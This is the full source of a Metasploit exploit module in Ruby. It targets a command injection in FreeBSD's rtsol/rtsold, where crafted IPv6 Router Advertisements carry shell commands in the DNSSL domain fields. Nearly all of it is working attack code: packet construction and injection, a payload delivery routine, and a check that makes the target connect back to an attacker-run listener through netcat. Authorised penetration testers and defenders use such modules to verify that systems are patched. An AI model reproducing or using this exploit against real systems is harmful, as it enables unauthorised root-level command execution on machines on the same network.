## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Capture include Msf::Exploit::Remote::Ipv6 def initialize(info = {}) super( update_info( info, 'Name' => 'FreeBSD rtsold/rtsol DNSSL Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability (CVE-2025-14558) in FreeBSD's rtsol(8) and rtsold(8) programs. These programs do not validate the domain search list options provided in IPv6 Router Advertisement messages; the option body is passed to resolvconf(8) unmodified. resolvconf(8) is a shell script which does not validate its input. A lack of quoting means that shell commands passed as input to resolvconf(8) may be executed, enabling command injection via $() substitution in the DNSSL domain name fields. This exploit requires Layer 2 adjacency to the target (same network segment) and root privileges to send raw packets. Router advertisement messages are not routable and should be dropped by routers, so the attack does not cross network boundaries. }, 'License' => MSF_LICENSE, 'Author' => [ 'Lukas Johannes Möller', # Metasploit module and PoC 'Kevin Day' # Vulnerability discovery ], 'References' => [ ['CVE', '2025-14558'], ['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'], ['URL', 'https://github.com/JohannesLks/CVE-2025-14558'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ 'FreeBSD (all versions before 13.5-RELEASE-p8 / 14.3-RELEASE-p7 / 15.0-RELEASE-p1)', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-12-16', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('INTERFACE', [true, 'The network interface to use for sending RA packets']), OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]), OptInt.new('DELAY', [true, 'Delay between packets in milliseconds', 1000]) ] ) deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT') end def check check_pcaprub_loaded # Use unspecified address to select default outbound interface lhost = datastore['LHOST'] || Rex::Socket.source_address('0.0.0.0') lport = datastore['LPORT'] || rand(44444..45444) service = nil client = nil begin service = Rex::Socket::TcpServer.create( 'LocalHost' => lhost, 'LocalPort' => lport, 'SSL' => false, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) vprint_status("Started check listener on #{lhost}:#{lport}") check_cmd = "nc -w 5 #{lhost} #{lport}" vprint_status("Sending RA packets with check payload: #{check_cmd}") send_ra_packets(check_cmd) vprint_status('Waiting for connection...') Timeout.timeout(10) do client = service.accept if client vprint_good("Connection received from #{client.peerhost}") return CheckCode::Vulnerable('Target connected back via encoded payload') end end rescue Timeout::Error return CheckCode::Safe('No connection received within timeout') rescue RuntimeError => e return CheckCode::Unknown("Pcaprub error: #{e}") rescue StandardError => e return CheckCode::Unknown("Error during check: #{e.class} - #{e}") ensure client.close if client service.close if service end CheckCode::Safe('The rtsold did not respond, target might not be vulnerable') end def send_ra_packets(cmd) interface = datastore['INTERFACE'] count = datastore['COUNT'] delay_ms = datastore['DELAY'] begin smac = get_mac(interface) rescue StandardError => e fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}") end begin open_pcap('INTERFACE' => interface, 'ARPCAP' => false) rescue StandardError => e fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}") end begin pkt = ipv6_build_ra_packet(smac, cmd, ipv6_link_address('INTERFACE' => interface)) count.times do |i| inject(pkt.to_s) Rex.sleep(delay_ms / 1000.0) if i < count - 1 end ensure close_pcap end end def exploit check_pcaprub_loaded print_status("Sending #{datastore['COUNT']} Router Advertisement(s) with DNSSL payload...") send_ra_packets(payload.encoded) print_good('Router Advertisement(s) sent successfully') end end